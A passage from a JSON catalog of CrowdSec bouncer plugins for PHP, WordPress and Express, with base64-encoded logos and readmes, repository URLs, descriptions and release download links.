gd+29gV7p28bU6eqY6/UFvIiFV37iVpmI+8NYKm/bQsL0y7DU8jSP4sFn6D60VFIedB5NUQZWzusIdYSayrN2mOP+jtMJA0jz3t9NEylq32rpI4hDQ0rIw0j7yp9xFXaMO4lBQalVNGLETW+mJZRQl4aXZewJg7B+WyNrLgEAgG9JMQtalR1narU1IyMlOe9kwiLprF3FfLlpbFZWoq7IEiJ9nMuYws+iPgLemQAPo6YBAodtBaXMG3DptCzDqtR1XOq6qlubCD0eVBSG4TGpNAuuoPDX0kW4uZhvDktRqQz3z1gEEOCVpNjcD7Lb0GBgE4vABElbK6YM+YO28zafxn7TjxawVSCB7rNJC2LoFeqes5VvdSMA5UHsgsT2sup6tnP6mfsd93QPq4WgShZD0YTh4BvGtM81v7Z7PDhSoI4jUPwWnIKXU/OYZvYdcUtcjM7rADieUSXMpb+/l//9xhb/xmb2WfCJsAz8Cw8E8+uF4BssvTLaLaAgaxsDA1hE1mr3t/9ei9Nq1ndu3fvJvS+KkmOpKJtpa6m67hS09jvup5N1JuBronUGj5MngwPEFyjjVn2t3t7GLgnOEB0LEPeaPT3uN5by2blLxqm6srDqCRR735WQ1T1XbZomQY80LeNqUGRPER3hTioimBo0v6Ok0nPOrxG03j4fRUdu/JefU2UUWwl8ZGaplU/Vd0hC/r2d93Xb9CI27rWY18aOkyoHeg6m0GwhT7oLWoDr0U0YOhMFDGo1TEPeqk5YPhtNT3HfX00Lef/oq3UCkpSEKlpm33fW3uwl6qW3Xw1faeSvkbuxzUHDr+uZTbqMWDacEMb2E+sM3SYWGfkMhX50zTQfRYZu80heNya01L4GX6H/P6BbrOIjXNOIEP7CXUGdvF1+rbRNToWwS+1TAMeawzwut7XcOhxVV27EhVtq7kqfS3de6hYfKs8AKJ20/8HkpX/LS69MSoAAAAASUVORK5CYII=", "url": "https://github.com/crowdsecurity/cs-php-bouncer", "description": "CrowdSec bouncer for PHP Website", "stars": 8, "downloads": 0, "readme_content": "IyBjcy1waHAtYm91bmNlcgpDcm93ZFNlYyBib3VuY2VyIGZvciBQSFAgV2Vic2l0ZQoKPHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1waHAtYm91bmNlci9yYXcvbWFpbi9hc3NldHMvY3Jvd2RzZWNfYm91bmNlcl9waHAucG5nIiBhbHQ9IkNyb3dkU2VjIiB0aXRsZT0iQ3Jvd2RTZWMiIHdpZHRoPSIyNzAiIGhlaWdodD0iMjgwIiAvPgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPgomI3gxRjREQTsgPGEgaHJlZj0iI2luc3RhbGxhdGlvbiI+RG9jdW1lbnRhdGlvbjwvYT4KJiN4MUY0QTA7IDxhIGhyZWY9Imh0dHBzOi8vaHViLmNyb3dkc2VjLm5ldCI+SHViPC9hPgomIzEyODE3MjsgPGEgaHJlZj0iaHR0cHM6Ly9kaXNjb3Vyc2UuY3Jvd2RzZWMubmV0Ij5EaXNjb3Vyc2UgPC9hPgo8L3A+CgoKIyBJbnN0YWxsYXRpb24KClBsZWFzZSBmb2xsb3cgdGhlIFtvZmZpY2lhbCBkb2N1bWVudGF0aW9uXShodHRwczovL2RvYy5jcm93ZHNlYy5uZXQvZG9jcy9ib3VuY2Vycy9waHApLgo=", "status": "development", "version": "no release", "assets": [ { "name": "no release", "download_url": "https://github.com/crowdsecurity/cs-php-bouncer/tags", "asset_url": "https://github.com/crowdsecurity/cs-php-bouncer/tags" } ] }, { "name": "cs-wordpress-bouncer", "author": "crowdsecurity", "logo": "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", "url": "https://github.com/crowdsecurity/cs-wordpress-bouncer", "description": "CrowdSec is an open-source cyber security tool. This plugin blocks detected attackers or display them a captcha to check they are not bots.", "stars": 23, "downloads": 118, "readme_content": "IyBDcm93ZFNlYyBXb3JkUHJlc3MgQm91bmNlcgoKIVtDcm93ZFNlYyBXb3JkUHJlc3MgQm91bmNlcl0oaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvY3Mtd29yZHByZXNzLWJvdW5jZXIvbWFpbi8ud29yZHByZXNzLW9yZy9iYW5uZXItMTU0NHg1MDAucG5nICJDcm93ZFNlYyBXb3JkUHJlc3MgQm91bmNlciIpCgpUaGlzIFdvcmRQcmVzcyBwbHVnaW4gYWxsb3dzIHlvdSB0byBhcHBseSBkZWNpc2lvbnMgZnJvbSBDcm93ZFNlYyBkaXJlY3RseSB3aXRoaW4gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4KCiFbVmVyc2lvbl0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9naXRodWIvdi9yZWxlYXNlL2Nyb3dkc2VjdXJpdHkvY3Mtd29yZHByZXNzLWJvdW5jZXI/aW5jbHVkZV9wcmVyZWxlYXNlcykKWyFbRW5kLXRvLWVuZCB0ZXN0XShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy13b3JkcHJlc3MtYm91bmNlci9hY3Rpb25zL3dvcmtmbG93cy9lbmQtdG8tZW5kLXRlc3Qtc3VpdGUueW1sL2JhZGdlLnN2ZyldKGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2NzLXdvcmRwcmVzcy1ib3VuY2VyL2FjdGlvbnMvd29ya2Zsb3dzL2VuZC10by1lbmQtdGVzdC1zdWl0ZS55bWwpCiFbTGljZW5jZV0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9naXRodWIvbGljZW5zZS9jcm93ZHNlY3VyaXR5L2NzLXdvcmRwcmVzcy1ib3VuY2VyKQoKCiMjIFVzYWdlCgpTZWUgW1VzZXIgR3VpZGVdKGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2NzLXdvcmRwcmVzcy1ib3VuY2VyL2Jsb2IvbWFpbi9kb2NzL1VTRVJfR1VJREUubWQpCgojIyBJbnN0YWxsYXRpb24KClNlZSBbSW5zdGFsbGF0aW9uIEd1aWRlXShodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy13b3JkcHJlc3MtYm91bmNlci9ibG9iL21haW4vZG9jcy9JTlNUQUxMQVRJT05fR1VJREUubWQpCgoKIyMgVGVjaG5pY2FsIG5vdGVzCgpTZWUgW1RlY2huaWNhbCBub3Rlc10oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3Mtd29yZHByZXNzLWJvdW5jZXIvYmxvYi9tYWluL2RvY3MvVEVDSE5JQ0FMX05PVEVTLm1kKQoKIyMgRGV2ZWxvcGVyIGd1aWRlCgpTZWUgW0RldmVsb3BlciBndWlkZV0oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3Mtd29yZHByZXNzLWJvdW5jZXIvYmxvYi9tYWluL2RvY3MvREVWRUxPUEVSLm1kKQoKCiMjIExpY2Vuc2UKCltNSVRdKGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2NzLXdvcmRwcmVzcy1ib3VuY2VyL2Jsb2IvbWFpbi9MSUNFTlNFKQo=", "status": "stable", "version": "v2.0.3", "assets": [ { "name": "crowdsec.zip", "download_url": "https://github.com/crowdsecurity/cs-wordpress-bouncer/releases/download/v2.0.3/crowdsec.zip", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-wordpress-bouncer/releases/assets/95870399" } ] }, { "name": "cs-express-bouncer", "author": "crowdsecurity", "logo": "iVBORw0KGgoAAAANSUhEUgAAAMgAAACqCAYAAADoZADPAAAACXBIWXMAAAsTAAALEwEAmpwYAAA5oGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMwNjcgNzkuMTU3NzQ3LCAyMDE1LzAzLzMwLTIzOjQwOjQyICAgICAgICAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIKICAgICAgICAgICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICAgICAgICAgICB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ+eG1wLmRpZDoyMTk3QjU5QjBGMjE2ODExODIyQUYzMTFCRjA5NkMyMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06RG9jdW1lbnRJRD54bXAuZGlkOjRDMTA0QkM4OTNCMjExRTRBM0QzQ0RCQzdCMDRGNjlDPC94bXBNTTpEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJRD54bXAuaWlkOjQ3MWJhNTZmLTdkM2UtZDM0OS04NzYyLTFjMWVjNTFmNjI4ZjwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDoyMzk3QjU5QjBGMjE2ODExODIyQUYzMTFCRjA5NkMyMzwvc3RSZWY6aW5zdGFuY2VJRD4KICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+eG1wLmRpZDoyMTk3QjU5QjBGMjE2ODExODIyQUYzMTFCRjA5NkMyMzwvc3RSZWY6ZG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPHhtcE1NOkhpc3Rvcnk+CiAgICAgICAgICAgIDxyZGY6U2VxPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5zYXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6aW5zdGFuY2VJRD54bXAuaWlkOjQ3MWJhNTZmLTdkM2UtZDM0OS04NzYyLTFjMWVjNTFmNjI4Zjwvc3RFdnQ6aW5zdGFuY2VJRD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OndoZW4+MjAxNy0wNC0xNFQxMzoyNTowMy0wNDowMDwvc3RFdnQ6d2hlbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnNvZnR3YXJlQWdlbnQ+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUgKFdpbmRvd3MpPC9zdEV2dDpzb2Z0d2FyZUFnZW50PgogICAgICAgICAgICAgICAgICA8c3RFdnQ6Y2hhbmdlZD4vPC9zdEV2dDpjaGFuZ2VkPgogICAgICAgICAgICAgICA8L3JkZjpsaT4KICAgICAgICAgICAgPC9yZGY6U2VxPgogICAgICAgICA8L3htcE1NOkhpc3Rvcnk+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3LTA0LTE0VDEzOjAzOjI1LTA0OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTctMDQtMTRUMTM6MjU6MDMtMDQ6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1wOk1ldGFkYXRhRGF0ZT4yMDE3LTA0LTE0VDEzOjI1OjAzLTA0OjAwPC94bXA6TWV0YWRhdGFEYXRlPgogICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9wOkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVudGF0aW9uPgogICAgICAgICA8dGlmZjpYUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WFJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOllSZXNvbHV0aW9uPjcyMDAwMC8xMDAwMDwvdGlmZjpZUmVzb2x1dGlvbj4KICAgICAgICAgPHRpZmY6UmVzb2x1dGlvblVuaXQ+MjwvdGlmZjpSZXNvbHV0aW9uVW5pdD4KICAgICAgICAgPGV4aWY6Q29sb3JTcGFjZT42NTUzNTwvZXhpZjpDb2xvclNwYW